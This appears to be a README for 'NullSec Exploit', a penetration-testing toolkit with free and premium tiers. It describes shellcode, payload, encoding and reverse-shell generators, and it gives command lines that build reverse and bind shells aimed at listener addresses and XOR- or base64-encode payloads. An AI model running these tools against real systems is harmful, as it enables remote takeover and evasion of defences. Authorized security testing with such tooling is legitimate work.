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💀 NullSec Exploit

Advanced Exploit Development & Payload Generation

X/Twitter GitHub License

Python C Haskell V

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🎬 Demo

NullSec Exploit Demo — Reverse Shell Generator
Generating reverse shells in bash, python, php, perl, ruby, netcat, powershell, java, and 14 more languages — with base64/URL encoding support

🎯 Features

Tool Language Description Free Premium
shellgen Python Shellcode generator ✅ 🔥
payloader Python Multi-platform payloads ✅ 🔥
ropfinder C ROP gadget finder ❌ 🔥
encoder Python Payload encoding/obfuscation ✅ 🔥
revshell Python Reverse shell generator ✅ 🔥
bofgen C Buffer overflow skeleton ❌ 🔥

📁 Structure

nullsec-exploit/
├── c/
│   ├── ropfinder/       # ROP gadget finder
│   ├── bofgen/          # BOF exploit generator
│   └── shellcode/       # Raw shellcode templates
├── python/
│   ├── shellgen.py      # Shellcode generator
│   ├── payloader.py     # Payload generator
│   ├── encoder.py       # Encoding utilities
│   └── revshell.py      # Reverse shell gen
├── asm/
│   ├── linux_x64/       # Linux x64 shellcode
│   ├── linux_x86/       # Linux x86 shellcode
│   ├── windows_x64/     # Windows x64 shellcode
│   └── windows_x86/     # Windows x86 shellcode
└── templates/
    ├── exploits/        # Exploit templates
    └── payloads/        # Payload templates

🔧 Shellcode Types

Linux

Type x86 x64 Description
exec ✅ ✅ Execute command
bind ✅ ✅ Bind shell
reverse ✅ ✅ Reverse shell
meterpreter ❌ ✅ Meterpreter stage

Windows

Type x86 x64 Description
exec ✅ ✅ Execute command
bind ✅ ✅ Bind shell
reverse ✅ ✅ Reverse TCP
messagebox ✅ ✅ MessageBox PoC

🚀 Quick Start

# Generate reverse shell shellcode
python3 shellgen.py -t reverse -l 192.168.1.100 -p 4444 -a x64 -o linux

# Generate encoded payload
python3 encoder.py -i shellcode.bin -e xor -k 0x41 -o encoded.bin

# Generate one-liner reverse shells
python3 revshell.py -l 192.168.1.100 -p 4444 --all

# Find ROP gadgets
./ropfinder -f /lib/x86_64-linux-gnu/libc.so.6 -o gadgets.txt

🔧 Tool Details

shellgen.py - Shellcode Generator

# Linux x64 reverse shell
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 -a x64 -o linux

# Windows x86 bind shell
python3 shellgen.py -t bind -p 4444 -a x86 -o windows

# With encoding
python3 shellgen.py -t exec -c "id" -a x64 -o linux -e xor

# Output formats
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format c
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format python
python3 shellgen.py -t reverse -l 10.0.0.1 -p 4444 --format raw

revshell.py - Reverse Shell Generator

Supports:

  • Bash
  • Python
  • PHP
  • Perl
  • Ruby
  • Netcat
  • PowerShell
  • Java
  • Groovy
# Generate all reverse shells
python3 revshell.py -l 10.0.0.1 -p 4444 --all

# Specific language
python3 revshell.py -l 10.0.0.1 -p 4444 -t python

# URL encoded (for web)
python3 revshell.py -l 10.0.0.1 -p 4444 -t bash --urlencode

# Base64 encoded
python3 revshell.py -l 10.0.0.1 -p 4444 -t powershell --base64

⚠️ Legal Disclaimer

For authorized security testing only. Creating and using exploits without authorization is illegal.

NullSec Framework | GitHub | X/Twitter